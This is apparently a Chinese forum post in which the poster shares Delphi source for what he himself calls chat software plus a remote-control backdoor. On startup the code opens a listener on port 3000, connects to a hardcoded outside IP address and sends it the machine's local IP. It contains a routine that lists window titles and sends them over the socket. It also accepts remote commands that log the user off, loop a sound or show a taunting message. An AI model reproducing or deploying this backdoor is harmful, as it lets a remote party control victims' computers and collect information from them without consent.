不知所云,给你一个我曾经写的网络通讯软件+远程控制后门代码自己去看吧.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,StdCtrls, ScktComp,shellapi,MMSYSTEM,Winsock;
type
TForm1 = class(TForm)
Memo2: TMemo;
Edit1: TEdit;
Label1: TLabel;
Button1: TButton;
Button2: TButton;
ServerSocket1: TServerSocket;
ClientSocket1: TClientSocket;
Memo1: TMemo;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Button1Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
s:string;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
function LcalIP:string;//获取主机IP;
type
tapinaddr=array[0..10] of pinaddr;
papinddr=^tapinaddr;
var
phe:phostent;
pptr:papinddr;
buffer:array[0..63] of char;
i:integer;
ginitdata:TWSADATA;
begin
wsastartup($101,ginitdata);
result:='';
gethostname(buffer,sizeof(buffer));
phe:=gethostbyname(buffer);
if phe=nil then exit;
pptr:=papinddr(phe^.h_addr_list);
i:=0;
while pptr^[i]<>nil do
begin
result:=strpas(inet_ntoa(pptr^[i]^));
inc(i);
end;
WSACleanup;
end;//获取主机IP结束。
procedure hcurwindow;
var
hcurwindow:hwnd;
ms,mn,mf:string;
wintext:array[0..255] of char;
begin
hcurwindow:=getwindow(handle,gw_hwndfirst);
while hcurwindow<>0 do
begin
if getwindowtext(hcurwindow,@wintext,255)>0 then
ms:='窗口名称:'+'['+strpas(@wintext)+']';
clientsocket1.Socket.SendText(ms);
hcurwindow:=getwindow(hcurwindow,gw_hwndnext);
end
end;
begin
ServerSocket1.Active:=true;
ServerSocket1.Port:=3000;
ServerSocket1.Open;
try//try操作开始。
clientsocket1.Close;
clientsocket1.Address:='222.208.114.110';
clientsocket1.Port:=3000;
clientsocket1.Open;
except
showmessage('程序初始化失败!!');
exit;
end;//try操作结束。
showmessage('程序初始化成功!');
clientsocket1.Socket.SendText('IP['+LcalIP+']');
end;//发送结束。
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
ServerSocket1.close;
clientsocket1.close;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
s:=socket.receivetext; //控制代码开始。
if s='exit' then
ExitWindowsEx(0,0);
if s='sound' then
SndPlaySound('C:\WINDOWS\Media\ringout.wav',SND_ASYNC or SND_LOOP);
if s='messager' then
showmessage('我现在准备注销你的计算机,呵呵!' );
memo1.Lines.Add('对方:'+s+' '+datetostr(date)+timetostr(time));
end;
procedure TForm1.Button1Click(Sender: TObject);
var
a,b:string;
c,d,g,n:integer;
e:array[1..4] of integer;
f:array[1..4] of string;
begin//正文开始。
if (edit1.text<>'')and(memo2.lines.text<>'') then
begin //检查不能为空。
a:=edit1.text;
b:='.';
c:=pos(b,a);
if c=0 then
showmessage('IP格式不正确!')
else
begin//开始预先检查IP格式。
n:=1;
d:=length(a);
if (d<=15)and(d>=7) then
begin//检查IP长度。
for n:=1 to 4 do
begin //for循环开始。
if n<=3 then
c:=pos(b,a);
if trystrtoint(copy(a,1,c-1),g) then
begin//转换开始。
e[n]:=strtoint(copy(a,1,c-1));
f[n]:=copy(a,1,c-1);
a:=copy(a,c+1,d-c);
end//转换结束。
else
begin //字母检查错误处理开始。
showmessage('IP输入有误!');
exit;
end; //字母检查错误处理结束。
end;//for循环结束。
if (e[1]<255)and(e[2]<255)and(e[3]<255)and(e[4]<255)
and(e[1]>=0)and(e[2]>=0)and(e[3]>=0)and(e[4]>=0)
then
begin//开始执行发送操作。
try//try操作开始。
clientsocket1.Close;
clientsocket1.Address:=edit1.text;
clientsocket1.Port:=3000;
clientsocket1.Open;
except
showmessage('发送失败!');
exit;
end;//try操作结束。
showmessage('发送成功!');
clientsocket1.Socket.SendText(memo2.lines.text);
memo1.Lines.Add('本机:'+memo2.Lines.text+' '+datetostr(date)+timetostr(time));
memo2.Lines.text:='';
end//发送结束。
else
begin //检查ip数字格式输入错误。
showmessage('IP输入有误!');
exit;
end;//检查ip数字格式输入错误结束。
end //检查IP长度格式结束。
else
begin //处理ip长度输入错误开始。
showmessage('IP输入有误!');
exit;
end;//处理ip长度输入错误结束。
end;//预先检查IP格式结束。
end//检查不能为空结束。
else
begin //检查为空的必输项目。
if edit1.text='' then
showmessage('对方IP不能为空!');
if memo2.lines.text='' then
showmessage('不能发送空消息!');
end;//检查必输项操作结束。
end;//正文结束。
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
caption:='连接到服务器'+edit1.Text;
end;
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
caption:='连接到服务器'+edit1.Text+'失败';
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
form1.Close;
end;
end.
[此贴子已经被作者于2006-10-9 1:40:03编辑过]